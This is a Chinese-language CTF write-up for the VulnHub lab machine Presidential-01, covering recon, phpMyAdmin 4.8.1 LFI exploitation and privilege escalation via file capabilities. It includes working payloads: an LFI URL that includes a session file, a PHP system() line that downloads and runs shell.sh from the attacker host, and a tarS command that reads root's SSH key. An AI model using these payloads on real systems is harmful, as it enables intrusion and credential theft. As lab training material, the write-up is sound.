vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)

环境搭建

靶机下载地址https://download.vulnhub.com/presidential/Presidential.ova

靶机描述

The Presidential Elections within the USA are just around the corner (November 2020). One of the political parties is concerned thatthe other political party is going to perform electoral fraud by hacking into the registration system, and falsifying the votes.

The state of Ontario has therefore asked you (an independent penetration tester) to test the security of their server in order toalleviate any electoral fraud concerns. Your goal is to see if you can gain root access to the server – the state is still developing theirregistration website but has asked you to test their server security before the website and registration system are launched.

This CTF was created and has been tested with VirtualBox. It should also be compatible with VMWare and is DHCP enabled.

Rating: Medium/Hard - Enumeration is your friend

靶机下载完成后将.ova文件导入VMWare,网卡设置为NET模式

环境

kali:192.168.102.128

靶机:192.168.102.134

信息收集

主机发现

nmap -sP 192.168.102.0/24

图片[1]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

得到目标靶机的ip地址为192.168.102.134

端口扫描

nmap -A 192.168.102.134 -p 1-65535

图片[2]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

扫描得到目标靶机开放了80端口和2082端口,分别为http和ssh端口

先访问80端口

图片[3]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

对网站进行指纹识别

whatweb http://192.168.102.134

图片[4]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

发现该网站使用的语言为php

使用nikto扫描一下该网站

nikto -h http://192.168.102.134

图片[5]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

得到了一个config.php,访问发现什么都没有

用dirsearch进行扫描

python dirsearch.py -u http://192.168.102.134 -e php

图片[6]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

得到了一个目录和一个备份文件,/assets/目录中是一些js、css和一些图片等无法利用的文件 ,之后访问config.php.bak也是一片空白,但是查看源码的时候发现了一些可利用的信息图片[7]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

<?php<br><br>$dbUser = "votebox";<br>$dbPass = "casoj3FFASPsbyoRP";<br>$dbHost = "localhost";<br>$dbname = "votebox";<br><br>?><br>
<?php<br><br>$dbUser = "votebox";<br>$dbPass = "casoj3FFASPsbyoRP";<br>$dbHost = "localhost";<br>$dbname = "votebox";<br><br>?><br>
<?php

$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";

?>

发现了数据库的账号和密码等信息,但是服务器没有开启数据库端口,扫描目录也未发现登陆数据库的地方。这时候不难想到一个ip可能绑定多个域名,或许可以通过查找其子域名来发现突破点。

在网站首页发现该网站域名为votenow.local

图片[8]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

将其添加到/etc/hosts中

图片[9]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

之后使用subrake或者wfuzz来进行子域名爆破

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

图片[10]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

找到votenow.local的一个子域名datasafe.votenow.local,将其添加到/etc/hosts中进行访问,发现该域名为phpmyadmin

图片[11]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

使用config.php.bak中的账号密码成功登陆

图片[12]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

getshell

在users表中找到了一个用户名和一串加密的密码,尝试使用john进行解密

图片[13]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

john –wordlist=/usr/share/wordlists/rockyou.txt –format=md5crypt john.txt

解密时间很长,先尝试一下其他方法

我们具有写入权限,尝试写入一句话木马,但是找不到网站的绝对路径,所以不能利用。

查看phpmyadmin的版本为4.8.1

图片[14]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

通过searchsploit搜索该版本漏洞发现了一个本地文件包含漏洞

图片[15]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

图片[16]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

可根据其给出的方法进行getshell

首先执行select '<?php phpinfo();exit;?>'

图片[17]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

之后再包含session文件

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_04v0doqg66krlm6e0qqm2rt0vrl3dq7j

图片[18]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

可以看到成功执行了php代码,使用同样的方法进行反弹shell

先在kali的网站根目录创建一个shell.sh来供靶机下载
图片[19]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

之后执行sql语句

select '<?php system("wget 192.168.102.128/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'

在kali中使用nc监听7777端口

之后包含session文件即可获得一个shell

图片[20]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

这时通过john破解的密码也破解出来了,密码为Stella,尝试登录一下

图片[21]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

显示权限拒绝
图片[22]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

还是使用开始得到的一个shell,这个shell输入字母会自动变成双写,很不方便,使用一下命令即可

python -c 'import pty; pty.spawn("/bin/bash")'

stty raw -echo

图片[23]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

提权

当前用户为apache,权限很低,并且不知道密码限制了权限的提升。我们可以先切换到admin用户,其密码经过爆破为Stella

图片[24]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

尝试sudo提权

sudo -l #查看当前用户sudo⽀持的命令

图片[25]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

不能使用sudo进行提权。。

尝试寻找一些其他有用的信息

在服务器根目录下发现了两个文件

图片[26]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

notes.txt提示利用新命令备份和压缩敏感文件,user.txt里面是一段md5,破解未成功

常见的压缩命令为tar,看看tar的位置

whereis tar
cd /usr/bin

图片[27]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

在浏览过程中发现了tarS命令,该命令应该就是提示中所指的新的压缩备份命令了

在linux中引入了capabilities 机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。与SUID相似,可以限制用户的权限。 查看文件系统中具有capabilities的文件

getcap -r / 2>/dev/null

图片[28]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

图片[29]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

可以看到tarS命令具有 cap_dac_read_search功能。它可以绕过文件读权限检查,这样我们就可以读取任何我们想要读取的文件

我们可以通过读取root用户的SSH私钥来进行免密登陆

cd /tmptarS -cvf key.tar /root/.ssh/id_rsatar -xvf key.tarcd root/.sshssh -i id_rsa root@localhost -p 2082

图片[30]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

成功获得root权限
图片[31]-vulnhub靶机渗透-Presidential-01(渗透靶机如何搭建)-Pikachu Hacker

总结

工具和知识点:

  • nmap

  • whatweb

  • nikto

  • dirsearch

  • john

  • searchsploit

  • wfuzz爆破子域名

  • phpmyadmin4.8.1本地文件包含getshell

  • 利用capabilities 机制提权

参考文章:Linux Capabilities 简介

本文作者:000000

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/136275.html

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容